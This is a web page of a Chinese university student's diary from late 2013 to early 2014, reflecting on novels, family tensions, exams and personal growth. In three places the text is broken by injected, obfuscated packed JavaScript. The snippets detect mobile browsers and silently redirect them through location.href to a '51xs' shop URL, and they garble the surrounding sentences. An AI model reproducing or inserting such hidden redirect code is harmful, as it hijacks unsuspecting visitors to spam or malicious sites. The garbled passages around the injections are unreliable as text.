周三晚上的高数选修是挂了，总共就会做一题，没有理由，自己造成的，大四再战吧！考研的问题，不愉快也不想提了。回到书上吧。我想看到的是我思想完整的表述，我表现的不一样或许是想让和我一样的人看到我，我一直在做的是在追寻同类，不是只有我一个。当你把心里的句子给你想让他懂的人看，而他却不能够理解的时候，那是一种巨大的失落。 或许我的要求是太高了，你要陪着我，要懂我，即使我无法清楚地表达，你依旧懂我。是一种心灵上的默契，对于事物我们有一样的眼光。我不断地想要逃开的过去却怎样也走不出，我想有着这种缺憾是我无法克制和改变的。初、岛本、泉、有纪子，不是因为特殊的相像，而是人和人之间的那种像，不一样人之间也有的像，总可以找到共同点是吧！这是生活，是这个世界。 是这句话：“我身上存在着永远不成不变的致命缺憾，那缺憾带给我强烈的饿和干渴。这饥饿和干以前一直让我头烂额，以后怕也同样使我烦躁不安。”这是我解释不来但是正确表达我的句子。 总是想这是个怎样的世界，那么多的问题，看到了却解决不了啊！ 2013年11月10日 星期日 晴 忽然想到广操的名字“时代在召唤”。这几天想明白了许多问题，不管怎么说心理上还是很安慰的。来说第一个问题：社会是要把优秀的人变得更优秀，还是把不优秀的人也变得优秀。想做的应该是后者，可是在做的是前者，就像本二的老师应该比本一更好才对，可是做不到。 然后来说如何改变。恒大昨晚赢了亚冠，这和许家印的介入有极大的关系，万达斥巨资拍下了毕加索的画，万达发言人表示中国民众应为此感到自豪。后面这件事让我开悟，前面这件事让我想通，你想要改变就要拥有相应的能力，这是一条明确可行的路。我或许以前被迫意识到是这样，但这次是清楚地知道了。 对于大山，别人和我有不同的意见我会认定为思想的碰撞，但如果是大山就会被判定为不懂我，其实谁又懂谁呢？这是我的占有欲和控制欲。我应该感到幸运了，至少是有愿意倾听的人，那我在感情的事情上是否仍旧没有成长？我要相信我自己，这一路可以走的很好。 2013年11月13日 星期三 阴 已经有这么一段时间了，我开始不断地回忆起小学、初中、高中发生过的事，一幕幕，倒像是回忆在追着我跑，一坐下来就开始……是那样清晰。我在想，是不是把这些全都回忆一遍然后就要全部地忘记，像是大脑在进行清理，我就要新生了。这几天状况是好多了，或许是我已经新生了。 我不知道应该怎样去表述自己，总觉得不能够太好地表达真正的想法，当然这也取决于听我倾诉的人。关于父母的事，我想是因为自己还是不够成熟，内涵也不够，所以才不能去理解他们，我一直是这样努力说服自己的。因为父母的矛盾，我的性格也矛盾。什么才是我要的？怎样我才会快乐？我不想按父母说的做，我觉得是被安排，可是除了这，我又真的想做什么？去考文科的研，然后呢？我喜欢的，想要的到底是什么？我只是知道我不想要的，可是只能这样做。我也不知道为什么害怕违背父母，害怕他们失望，这一切是不是只是我仍旧为了我自己？ 有时候会觉得自己好冷漠，那又是什么让我这样？因为我自己可以完成所有的事？我真的开始怀疑自己为什么恋爱，是缺爱吧。我不是说父母不爱我，但是他们爱我的方式我说不来，我觉得自己对于父母一直是一种敬畏，小时候是心态不好吧！以前总是和妈妈在一起，后来才有机会和爸爸相处。他们对我越是严格，我心里越是叛逆，我还是不成熟吧，还是那样，我如果在努力，父母还对我说要努力，那我就会愤怒，总让我觉得明明我自己知道在奋斗却像是我是为了你们奋斗或是我不懂事，不被信任。可是那父母和我很开心的时候那又是什么？让所有人羡慕的家庭氛围又是什么？因为我没有做父母所以不懂，这句话也让我生气。 换一种假设，是换一种思路，因为我周期性的压力爆发让我很down，在这种生气的时候总会把一小点的烦恼或不满夸张放大，所以让我有爆发点，过激古怪的想法只在这时候有，发泄过后一切又好了。所以对于父母我只是对最亲近人的挑剔发泄，再本身就是我的胡思乱想。我总是认为自己可以做很多事的，可以为社会做贡献的，所以不断给自己加压，长期积累就会爆发，可是平静的时候一切在我又太美好了。 面对各种社会问题，我又会觉得自己的肤浅可笑，我的事有什么可气的呢？还有太多的事要做。我不断给自己提出一个又一个问题，最后又要靠自己一个又一个地想通解决，我的想法，因为我不想就会死吧！ 对我来说这是一个过程，一个成熟的过程，我知道自己很坚强，积极和达观，静下来做喜欢的自己吧！有些问题，不想就没有。 2013年11月16日 星期六 未知 《挪威的森林》，结束。 连续看的这两本日本小说对我来说意义重大，似乎我连在看书方面都很幸运，在对的时间看对的书。我可以理解浩子对这两本书迷惘的地方，毕竟没有经历是不会懂的。 渡边从某种程度来说可以作为我的理想对象，我有孩子那样的疯狂和反叛（没有那么过分），也初美那一部分的对爱的执念，还有就是也是渡边那样一类人。仍旧是因为那几句可以表达我的话，让我爱上这本书的。我的状态其实也是这样，作者认为自己总在十七、十八岁徘徊，可却猛然发现自己已经二十多了。我也活在自己的世界，偶尔会感到孤寂，但多数时候仍旧又回到了自己的世界。对永泽我也是崇拜的，做一个绅士，一个做自己该做的事的绅士。一个人死了就停留在那个永恒的年纪，相月的死是直子和渡边永远的痛，似乎是因为我仍未经历过与我有关的“死”吧！这点我理解不了。我不理解为什么对“性”那样好奇和执著，但是看到绿子，我笑了，我知道自己没有病，很正常，或许在有些人看来是那样直率可爱。我很喜欢敢死队，不知为什么，总觉得是单纯的惹人怜爱的那种，又或许是他的与众不同吧！ 这两本书的男主都是文艺狗，书和音乐，也是自认为不同的，这也更让我认定自己所做的所想的是对的，我只和同我一样的人一起。是怎样的清高和不屑。晚上木木来电话照例聊了很久，她正在经历我已经历过的阶段。母性情怀的体现和在感情上花费大量时间。她说我是走在了她的前面，是她人生的导师，她开窍的太晚，在人情世故上太迟钝了。我想，这些东西都是要经历的吧！不过顺序不一样。就像有些东西我现在才开始意识到，但别人早就开始做了。木木说我们总说自己得到了很多，其实是在自我要慰，这一句话我有那么一瞬间的不快，所以这句话是真的，代价太大了。那现在做的，也只能是可以做的，当然，我不是庸俗之物，所以我不是在工作，是在努力！比如这一本日记。 2013年11月20日 星期三 晴 对于这个时刻我无非也就是要找一个地方把这篇日记写了，上节水文统计的课我的眼睛和头完全不听我的指示。又开始对这周围的一切感到厌恶，就是一个词：“可笑。” 《城市之光》其实是一本推理小说，不过对我来说，重点不在于推理的部分，我喜欢的是在那个时代的女性的反叛。即使在现代也有被认定为女性不应该涉及的事。我很喜欢花村英子和别宫，这是一个等级在人的意识中万分森严的社会，即使英子很“开放”，但也承认身份有别啊！真正的世家是有他自身强大的道理的，胜久、丽子和道谛是狗原家的孩子，只是看，就知道他们的厉害，冷静、理智，这是从小所见和受的培养。一直记着的是别官对英子说的话：“如果您认为住在那种房子里的人就没有幸福的话，我觉得那是一种傲慢。”不管怎样去看，我们都只能是别人生活的窥探者，只有真正置身心于那种环境，才有可能去了解到其中的分毫，毕竟我们已经有了自己的人格，因为所在的层面不同，所以思考的方式也就不一样了吧！ 浩子有发来国学大师推荐的读书方式，先看的是梁启超建议清华学子多多阅读国学经典，我自问看的中国经典实在太少，也不知一时该从何处做起，想来是自己太浅薄。后来又瞥见徐志摩所写，很轻松又很沉重。他所举的那三类人：一是看了不下二干本书的人；二是环游了世界几圈的人；三是朋友遍天下的人。徐说他不敢用“看不起”这三字，因为太奢侈，所以只是表达他并不认为三类有何“大牛”，他反倒尊敬那些把一本书一个人研究得彻底爱到骨子里的人。我毕竟是太浅薄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我不知从什么时候开始意识到自己和父母是如此相似，是传统和崇尚自由的矛盾体，所以我开始怀疑日后自己教育孩子的能力，这又会是怎样的一种矛盾？从书上我了解了很多不会有人告诉我的东西，让人兴奋又迷茫。至今我仍旧不知道如何处理自己的异想天开和随心所欲。成长是漫长的，在父母心中会永远留下欣慰和遗憾吧！看着我远去的背影，时光，不可逆的力量。可流逝的不是时光，是人！嗯，爸爸妈妈，我爱你们。 2013年11月25日 星期一 晴 像陷入无限死循环，我又开始了所谓混乱的状态，坐下来就开始无止境地回忆。据说回忆是因为对现状的不满，那我现在仍旧没有调整好自己的状态。虽已经继续行走，但心底里还是不愿接受吧！我开始怀疑自己不断地挑战，是对现实的短暂逃避。早上不愿起床，是惰性的表现？但是拖延一定不是好事。 2013年11月29日 星期五 晴 这几天晚上无端端睡不好，早上水文概率坐在第一排，猛然回头，发现原来自己身后还有一个世界。我不知道自己有多少恍然发现这另一个世界的存在，坐在第一排，背后的一切于我都不存在了。人只有一双眼睛，只能朝一个方向看，所以很容易盲目啊！ 尝试着看了卓别林的《城市之光》，我无法接受那种辛酸的幽默，也不擅长把作品放到特定的大背景中去，我也发现自己开始逃避，逃避那些我看到却解释不了的社会现象，是因为我的不忍和善良？ 退掉了雷励的甄选，昨天下午我大哭了一场，不知有多久没有这样伤心地哭过。我所热爱的到底又是什么？后来看了《穿越时空》的少女，我们犯了同一个错误，把那些保贵的东西浪费在小事上。如果可以重来也不要去改变，因为我们无力承担第二次了，你怎知第二次是你想要的结果？ 来，悠哉地生活～书里又是另一个世界，一切都在发生。 我也没有想到下午会看完《历史深处的忧虑》，这是一本中断了好几次的书。有那么几次我可以算是不愿再打开它，看这本书我需要安静，需要脑子转动。信息量很大，我一边看一边要过滤出我觉得可以结合我已知的事实进一步思考的点，而且因为本身书的大背景是美帝，即使那时我身处美帝，那于我也是一个新的环境。加上文字大多是议论文式的论证，有大量的举例和对法律的援引，有时真的让我感到无力。 今天是从“辛普森案例”开始的，出于好奇，我一连看完了三篇，知道了审判结果。书中对于美帝规则的联想性展开是万分强大的，不得不承认，面对这些信息我显得很无知。好在我的角度一直很客观，所以只是作为对另一种制度的了解，而未产生某种对本身所处体制的好恶。后几篇反复提到的种族问题，我仍未能太好地理解，关于对黑的“特别保护法”，这难道本身就不是一种歧视吗？要自己把自己置于一个特殊的位置，那不是自己也从内心深处默认了吗？所以才要去争取。人不可能不受所处环境的影响，可要更深层次地讨论这个问题，却又不能够了。 书中从始至终在提的就是美国为这种体制所付出的代价，我并不认为美国公民就有多高的素养，只是他们举国有一种意识，是环境氛围所感染的，这是教育的问题吧！当然，对于怎样培养公众共同的意识我也说不好。哪！思想强大的人，快来拯救我！但愿我有自救的一天。 78.大三（上）十二月-一月（上） 2013年12月1日 星期日 晴 大村庄的天气让人觉得不舒服，睡了很久很久。终于懂了一点《焚舟纪》的要领，很快看完了《染血之室与其他故事》。对于童话的哥特式改编，总让人阴郁，想到的是黑指甲黑裙的非主流少女，这不是我喜欢的风格，当然这又是另一种反叛。《别册》的前几篇是领教了，我小学时也曾想过那些明星拉屎的样子，初中也写过用词拼凑的日子，看，我不是独一个。 不知为什么会想到婚姻，我本有很多事可以去追寻却总是选择婚姻，是否是真的太孤单啦！明明有那么多事可以做，却要选择恋爱，我是多么需要爱？ 一直很喜欢改编故事，只是我不曾写下来，睡前把画面在脑子里布置好，然后再把自己安放进去。女主角永远被很多人爱，她勇敢、反叛，知道结局。 2013年12月4日 星期三 晴 总觉得自己偶尔有很赞的想法，不过没有及时记下来就让它过去了，这不太好。今天想了半天，还是把能记的都记下来吧。 不知道怎么聊天说到开一家书店，类似的开咖啡馆什么的所谓有情调的地方。可是小众的审美无法让大众欣赏，那是不可能有什么结果的。再说做生意这种要取悦别人的事，我不做。 人和人之间是差很大的，可是一个人若从未有人引导过他怎样去做，那是否命运只是上辈人的重复？怎样是一个契机，什么时候会来？我发现真的不能去说你怎么不思考，因为不知怎的才会开始一本又一本地看书。我是不是偶尔过度思考了？ 昨晚花了很长时间磨完了《赤红之宅》，和《一九八四》，有的点很像，不过结局不同。统治者总试图控制的是思想，所以对于他们来说“无知即力量”。他们一刻不停歇做的事就是影响人的判断，因为控制不了。可是文学世界可以很残酷，他们有先进的设备和更完善的体制，利用思想控制思想，这要是输了，是输掉了灵魂。《赤红之宅》的女主赢了，因为她建立了自己的一套完备思想抵御，不！只要自己还在思考，就永远不会被打败。这是精神层面的东西。 我不知道为什么有人看到外国好的方面就会对中国失望，这对我是一个很复杂的心理。当你去理解中国这个大环境的时候，你会看到努力改变的决心。他们没有发现，其实他们思想不完整和不强大，也是中国不够强大的一个失败环节。难不成这情结是他们对祖国的大爱？！就像我给阿彬看《历史深处的忧虑》是希望她全面地看美国，结果她却是对中国更失望，对美国更向往。我解释不来，因为这是“逆火效应”，一本书改变不了什么，何况是一种根深蒂固的意念？ 2013年12月8日 星期日 雾 好困！据说感觉时间过得快是因为过得幸福，那我确实是太幸福了。很容易就流逝了。今天早上起来迷迷糊糊记得一些梦，那是幼儿园时候画的画，被留下来了，收集在一个大纸箱里。我怀着一种复杂的心态开始整理，这些东西我以后还会看吗？看了又能想起什么吗？不看就会忘记了吗？只有记忆可以抵抗时间，可是当人逝去，记忆不也没有了吗？所以我们讲故事，把记忆传承，所以我们有书来记录，可是有那么一天这个世界都消亡了，我们又去哪里寻找这些所谓的时间和记忆？好困，日子好长，又好短。 2013年12月13日 星期五 晴 现在总是喜欢在周五下午花上整片的时间看书，每每周五也是一本书结局的时候。这周是《霍乱时期的爱情》。 一开始就是针对这本书名展开的讨论。几乎所有人的第一个念头就是在霍乱时期发生的那种感人肺腑的爱，战争啊疾病啊！结果不是！在没有看完的时候我的理解是：阿里萨曾因达萨得了相思病，而霍乱的症状和相思病一样，且霍乱是不分时间地域、身份贵贱的病，流行病（当然是因为那个时代的卫生医疗条件问题），就像爱情是不分时间地域和高低贵贱一样，可是后来，直到结尾，我有了新的想法。 达萨七十二岁了，阿里萨七十六岁，这个年纪人的爱情是不为常人理解的。所以为了他俩自己看来无比纯洁高尚的爱，他们挂上了“霍乱”的黄旗，隔离了疯狂的现实世界。这是爱的精神，为爱营造的环境。阿里萨因霍乱而苦（相思病，爱情），又因霍乱（为爱的理由）而重获爱情。这样说来，医生就变成配角了，只是阿里萨“伟大”爱情的配角。 可是医生治好了霍乱，不，是对霍乱的病源进行了根除，就像他得到了达萨，所以医生在，就不是“霍乱时期的爱情”，讽刺啊！这是完全不一样的两段感情，我更倾向医生，但是！他出轨了……虽然他立马回头了。他和达萨是很不错的一对吧！ 今天下午写日记却中断了，很吵，再没有办法写下去，那样的思路估计也要永远消失了吧！又是一句话：“圣人也有过去，恶人也有将来”。我一直以来做的事都是对自己过去的遗憾、回忆，是我把自己捆绑在了过去。我原谅了别人，却不放过自己，所以对很多人怀有歉意，可是这又是何必，过去了就过去了。无法改变的就坦然接受吧！何况身边有如此接纳我的爱人，可这是否就意味着可以原谅背叛？与我无关之事本就不在意了。随着成长，我们会有更健全的人格。既然是和自己一样好的人共同成长，所以我们会共同维护自己的爱。万一是背叛，我会让此也变得无关吧！曾经爱过的，我们要努力，因为不要让人觉得曾爱错。现在爱着的，更要努力，因为这是在创造我们的未来。 2013年12月14日 星期六 晴 书就是让人寻求共鸣的东西吧！《冰菓》对于我来说是一本只有一两个点的、可看可不看的书，就算花时间理解了一下浩子的内心世界吧！他和男主很像，灰色的人生，要寻求改变。可我的人生一向过于缤纷了，是折木的姐姐，所以这类书对我的意义不大。 不过还是有几个点的：一、冰菓，ice cream，I scream.（这是干反田的舅舅，那个站出来的人，所以我会认同）；二、千反田想到自己要行尸走肉地活就大哭起来。（一个小朋友就可以有这样的见地，这样有血有肉的人我喜欢。）但是这系列的书对我来说，并没有太大继续的必要了。 2013年12月15日 星期日 ？ 《别册》是《焚舟纪》里又一本短篇集，不过他人的书评占去了很大的篇幅。我似乎是隐约看懂了什么，但那也只是几句仅触及皮毛的话。我仍旧不喜欢所谓《导读》，一向不认为他们的理解可作为“指导”，只是那也是一种理解。至少最近我不打算碰《焚舟纪》了，因为需要有强大的内心和无限的包容？ 2013年12月17日 星期二 霾 不知道是否所有的人都由不同的左右两边组成，如果是鲜明不同的两边，是否会有什么奥义？我左边的头发多，但是干起来更快，而且曲直程度也和右边不同；左边的眉毛向上飞，右边则象征性地往下长了一点；左边的眼睛小，而且也不如右边更经常出现双眼皮；流鼻涕也一定是一只鼻孔单独流着；牙我不知道有什么具体的差，不过我一直只用一边嚼；左手和右手的差别那是使用频率的原因，当然左手好看；左边大腿上的皮肤比右边的好；左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108568|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚比右脚大，而且左脚指甲长得更好看。当然，左右脑干的事一直不一样，细想一下，在这些方间，我也没有什么不同。 重新看《平凡的世界》仍旧很快被吸引，仅是开头写到少平吃的黑面馒头就让我感触，我有什么过不去的坎？昨天硕儿破天荒问我借了《窗边的小豆豆》看，她问：“真的有这么好的老师吗？”我坚定地回答：“当然有！”或许这只是我对世界坚定的希望……献给小林宗作老师的书，那么感谢这位伟大的老师，给所有的孩子带来了希望。我也曾是个孩子，和所有的孩子一样，梦想有这样一个老师出现在童年。掉进回忆里的人，那段美好的时光。 2013年12月19日 星期四 霾 也就是几秒钟的事，我居然又可以不爽一次，写这篇日记本是想记录一下内心世界的成长，没想到，这么快又露了原形。 真是讽刺！不知从什么时候养成的习惯，在接触到某个很优秀的男性之后，我就自然而然地先计算年龄差距，之后开始幻想我们间的可能，最后定是要和他有过一番联系的。在看过“伯爵在城堡”的几篇日记后，我被他强大的思想体系征服。虽对他在今年八月表示遗憾，但仍旧存有那样的一丝念想。他是九三年的，要是可以，我想去石河子看他，未想过做恋人，但定是令人深爱的朋友。恕我用自己的肤浅来谈他的文字，就是：给你一个“真”。他在很多问题上看的很深，很远，现在我不会说什么惭愧，同龄却不如他优秀之类感到自我渺小的话，但我对他尊重、赞赏和感谢。关于为什么要读书？为什么而活？怎样才能有趣优质？他的回答给了我很多启发。我们要为了自己，做自己现在就可以做的事，不是说努力去变成什么样的人，而是我努力了就变成了这样的人。我不是要那些所谓的荣耀，我只是想到自己的体验。 积累是一个漫长的过程，我也是在前不久才刚认识到读书对我真正的意义，不是为了所谓渊博和气质，更不是为了谈资，只是每一本都是慰藉，程浩的观点我很认同。“不要因为一个人知道你不知道的知识而崇拜他，因为知识你也可以学习，而且你也会知道别人所不知道的事。”我们所要推崇的应是渴求和坚持不懈获取知识的精神，而不是知识本身。关于他说的对于评论应持包容态度我也非常支持，只是我太骄傲，却没想过和人认真地说点什么。 陈章鱼说不可能开始所谓“新的人生”，事情发生了就不会再是一张白纸。真的，所以不要再自我安慰了，换一个更准确的说法就好。大概从大二下开始，我进入了人生“新的阶段”（这个不错吧！），在很多方面有了改观。意识到之前做了很多不好的事，说了很多轻狂、放肆、让人不舒服的话，想到这些就会很不自在。这是一直在用过错折磨自己。“圣人也有过去，恶人也有未来”。那我这个恶人，会有很好的未来吧！ 程浩有写他不相信很多东西，我也不相信，或许是我太爱转换角色、又太自恋吧！我喜欢用自己的判断力。不过以前说话喜欢用夸张手法使人信服，后来发现了自己浮夸就在说话之前停一秒，克制住之后说了“原始数据”，好在这都是较早的事，所以现在的自己比较“真”。当然这是有代价的，因为你“真”，别人反说你“装”，又好在我可以理解那些说我装的人，这件事也就愉快地过去了。 话说“软弱的人作恶最多。”我算是领教了。上午在被窝里刷博，下午去KTV唱歌，晚上找了个地方写篇日记，平凡人的生活是不是很有意思？哈，我又傲骄了～阿彬说：“如果程浩还在，他一定喜欢你，因为他喜欢漂亮姑娘！”这是今天，我最喜欢的一句话！ 79.大三（上）十二月-一月（下） 2013年12月20日 星期五 晴 确实打算写一篇简短的书评。我不喜欢这个作品，虽然它是一部好作品，但未免也太沉重。上校等了十五年，他只做了等待这一件事，为什么不想其他？他对于“信”和“斗鸡”的执着或许是为了坚守自己伟大的信仰，可是面对无粮的日子，他先是逃避，最后气定神淡地决定去“吃屎”。我是一个会向现实低头的人，原则在心中，但没有温饱，尊严也就不是所谓的尊严，而是肚子空空在人前装出的虚伪。活着可以做很多事，饱腹才有力气去做事，有了金钱和权力就可以做更多别人做不到的事。如果上校当初为自己努力谋职，在政党上做一个领袖，那他就不用十五年等他的抚恤金，而是让那些退役的老兵在第一年就拿到钱。 2013年12月23日 星期一 晴 本来早上总会有各种各样的想法迸发，可同样又出于各式各样的借口我没有及时记录，可惜了！果真是那句：这次不来，就再也不要出现了。在某一时刻，我们总会有某种冲动，在那时那刻若抓住了，去实践，必定有难以逾越的难忘喜悦。要是就放它过去，也就永远地成了过去。“一次说走就走的旅行”总是令人兴奋和期待的，但可以做到的人少之又少，每个人都有多多少少的冲动，去做了就快乐，不一样的快乐。你是哪里的独一无二？怎样的独一无二？我还年轻，我要努力抓住自己的每一个冲动！当然，是值得立马行动的青春的玫瑰色。 看了关于“Yes”和“No”的男女心理解读，往往女人说“No”的时候，心里的答案是“Maybe”或”Yes”，而男性若说“No”的倾向多了，便开始不自觉转向女性角色，即历史传承下默认的被动角色。我顿时发现自己竟是一个这样过渡状态下的人。在很多方面，我已经摒弃了传统女性的被动角色。我主动提要求，虽然也偶尔说几个其实是“Yes”的“No”，不过往往说的是“No”的“Yes”……问题在于，却无法摆脱骨子里的“男女不平等”。很多受环境影响的观念总是不经意间以前后矛盾的形式败露，路很长，好好走！ 话说，不过是喝了个麦片，就完全不记得前间要写的几个点了，真是作死…… 1. 动漫女主的共性 2. 用温和的方式表达 3. 看书多少是相对而言 2013年12月25日 星期三 重度污染 现在应该修改，是12月26日凌晨。写下了天气就突发奇想去回复了Thomas九月发来的邮件。日记是搁置了，已经有多久没有坐在床上看书了。就像平安夜看月月为男友准备礼物，有多没有那样认真、用心地做一件事。 没有做就不知道一件事有多难，做成了才可以回头说简单。考试英语真题终于让我认识到自己的无知……尽早努力总是好，让我把之前的几点扩展。 《花开物语》的女主也是乐观向上且不知疲倦，勇敢地表达自己，说出赞美的话，发现别人的优点，这是“软妹子”的共性，也是被宅男向往的人，我想我知道自己的优点了。虽然凶，却也可以温暖人心。 那天在食堂听到一个女生说了一句讨人厌的话，忽然意识到自己经常无意间伤害了多少人，我尽力！用温和的方式，宽容、谦逊地表达自己。阿彬和浩子这几天几乎借去了我在学校的所有书，看似很多，其实却很少，一个人永远不能说自己看了很多书，看书多少是相对的，除非和别人比较。就我自己来说，太少太少了。 我仍旧会控制不住地生气、颓唐，可这只会让我更难过。我所追求的发光的自己，独立的自己，却在潜移默化中习惯让大山陪。我不想成为别人的负担，如果害怕失去就更应该振作！每天看一两篇《小豆豆》算是一种安慰，我会羡慕那种成长环境。让眼泪流过的脸庞会更加美丽，那时候我还只是“小水”，那个又丑又黑又自卑的小丫头，不管在这之前发生了什么，我都不追悔，不回头！爱我的人，请期待明天更好的我，或许我偶尔会脆弱，请原谅我，因为最柔软的一面，只能给你看。 从这一刻起！ 2013年12月26日 星期四 晴 经过这么几天的重度污染，大村庄终于迎来了好天气～今天在等待的过程中看完了《窗边的小豆豆》。看到小林宗作先生去世，我忍不住又流泪了，不知道是否和右眼下长了一颗泪痣有关。黑柳彻子女今年已经八十岁了，算是一位成功的女性，她的一生可以说是辉煌，只是她未能成为一位给孩子讲故事的好妈妈。也许在日本那样一个极端男权的社会，太过耀眼的女人是一种负担吧！ 我相信书中的说法，是巴学园的那段时光让彻子有了日后的辉煌。教育是值得人不断探索和追求的世世代代的事业，我们想要每一个孩子都可以有灿烂的人生。我会一次又一次地陷入无助和迷惘，在这种时候有没有人可以引导我？我也觉得，怎么可以有人那样温柔？激起无限的温暖和感动，我也会努力，加上自己的一份力量。 就在昨晚，我当着大家的面哭了，可是没有人明白真正的理由。我指着屏幕大声地激动地说：“怎么可以这样！”然后“哇”地哭了出来。我在心里无数次地重复？怎么可以这样傻？！大家都过来安慰我，说：“现在不是好好的吗？”“你不是有大山吗？”之类的话。 我还是在哭，嚎陶大哭！为什么大家都是在看电视剧，还是这种虐心的泡沫剧？为什么我告诉大家考研要认真对待，现在要努力学习英语没有人理我？为什么要低三下四去求复合？为什么那么在意别人的眼光？为什么不知道要更加努力？为什么不够坚强？为什么女人那么傻？为什么有什么话不说？为什么？！ 中午我把这件事告诉了浩子，他给说了一个“知乎”上的问答。有人提问：“他匿名举报班上同学作弊，这样做对不对？”有一个老师给了这样的回答：“一次考试，他们全班集体作弊，成绩大幅提高。一次上课她看见全班几乎没有人听课，就站在讲台上大哭了起来，一直哭到了下课，她说，这样子靠作弊提分毫无意义。后来，她班上的学生再也不作弊，可每次的成绩都是垫底的了。”嗯，我们都太无力了吧，只能靠哭来缓解心中的痛。我现在却笑了，原来我活的这么真。 2013年12月27日 星期五 晴 这篇书评真该看完就及时写的……现在的我觉得，好作品是可以让人很容易上手的，不敢说绝对，但这样的作品一定不会多坏。《黄金时代》就是这样一本书，刚读了几句话，马上就要急着看完。 我很喜欢那种神神气气的调调，似乎非常符合王二的流氓土匪气质。在那个疯狂年代，王二和陈清扬就是清醒痛苦的人，他们的反叛也和温斯顿、茉莉娅一定样——□□，这是一种与外界无关的发泄，是人最本真的东西，你写反动标语需要笔、纸（这里的笔、纸可理解为表达的媒介），你宣传反动思想需要有人听，可是□□却只需要两个人，全然不受外界的约束，你可以肆意地尽情地做在传统的正统的思想中视之为“□□、反叛”的事，可见，其本身也是陷入到这种根深蒂故的观念中才想如此反叛，当然这也有无奈。 陈清扬被叫“破鞋”在我想来是因为那些男人得不到，但在王二和她发生关系她真成了“破鞋”后又无人提及，这实在是一种讽刺。黄金时代，二十岁的年华是一个人的黄金时代，却被束缚在一个盲目的群众热情高涨的国家的“黄金时代”，这实在又是一次讽刺。 很喜欢这句话：“这就是所谓的真实。真就是无法醒来。”陈清扬身处那样的年代，内心是如此的痛苦。而后来让她真正害怕的却是她爱上了王二。“只有发生的事才能交待”，所以王二把他俩的云雨之事写成人人爱看的“交待材料”，陈清扬坦然接受了，甚至最后交待自己爱上王二，只是王二不知道。这早超越了“破鞋”，是五雷轰顶、十恶不赦地承认了自己无耻的爱。她配合一切批斗，但同时又积极反叛着，这世上一直存在一种人，他们看清一切，控制一切，至少他们可以让自己活。就像我承认自己有时的自私、无耻，这样别人的话又何关痛痒？因为我们一直作为强者而活。 2013年12月30日 星期一 晴 明知道今天是好天气，可至今都没有出过门。大半夜的看完了《白银时代》，又接下去看了《梦里花落知多少》，这让我想起了以前住在家里的事，等到四周都安静，我开始看书。 相比《黄金时代》，《白银时代》晦涩得多，那个时代的人写书，2020年就很久远了吧！可时间就这样推移下去，马上就要2014，对于我来说，2020很近，我可以把那大雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13123248|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预见为雾霾吗？我喜欢那天蓝色的污染的雨。好吧，其实重点是那一个虚构的故事里套入两个虚构现实的故事，“棕色的”和“克”是两个真实的人，却在男主的虚构故事《师生恋》中的两个版本中分别扮演两个不一样的老师，只是都离不开性。我只是猜想，王小波先生那样热衷于描写□□是为表现人的本性吧！因为它不受控制地直翘翘？ 总觉得这个感觉像《1984》，“世界是银子的”是一个谜题，那是在热寂之后，我是否可以理解那是对未来世界的一种狂想？在一个与现在人性颠倒的世界？似乎背后隐藏的是权利的无限膨胀。有好几个地方我不懂，比如“踏脚”。难道（我猜想）是因为用真实□□上的痛缓解虚幻精神的痛？似乎是男主把同样的小说写了十几遍，他的同事也做同样的事，不断地重复，用文字调戏上司，被毙！是否作者希望读者在这迷惘荒乱的文字中窥见一些什么？还是说用文字让我们体会到的就是那初环境让他体会的天旋地转？我似乎只能瞥见一点，毕竟太过肤浅，要体会的可是一个时代啊！不过王小波的“时代”比《平凡的世界》让我觉得更华丽，似乎让我觉着伟大的意。 前段时间开始想看郭敬明的书，因为想知道现在怎样的书可以赚钱。（我承认自己无聊……）阿彬曾说我会觉得无聊，真的觉得没营养，不过却还是让我感想一萝筐……（不管什么书，看多了总是会开悟的！）看完顿时觉得我可以和毛羽的那些小伙伴（高祺、老傅），也就是他们那一类人相处了。当然，这里也有我自己的变化在，好吧，来说说。首先，炫富的味道～高档奢侈的生活用脏活骂出的随意，好像爱情只会发生在有钱有权人当中。（观泡沫言情，必有一个富得流油的角色，也是，饭都吃不饱还谈什么爱情？！）然后，怎么悲怎么写，可惜我不为所动……人散了，这是常理，不过我现在不敢确定富人的上层社会怎样了，我以前总一心一意想着真正“富官二代”的高贵修养，现在才意识到，自己没有经历过，永远不会懂。没见过不代表没发生，见到了也不一定是真的，又或许经历了也只是假象……骗女人好像真是这样，不过我一次又一次懂了，眼前有的要珍惜！ 2014年1月2日 星期四 晴 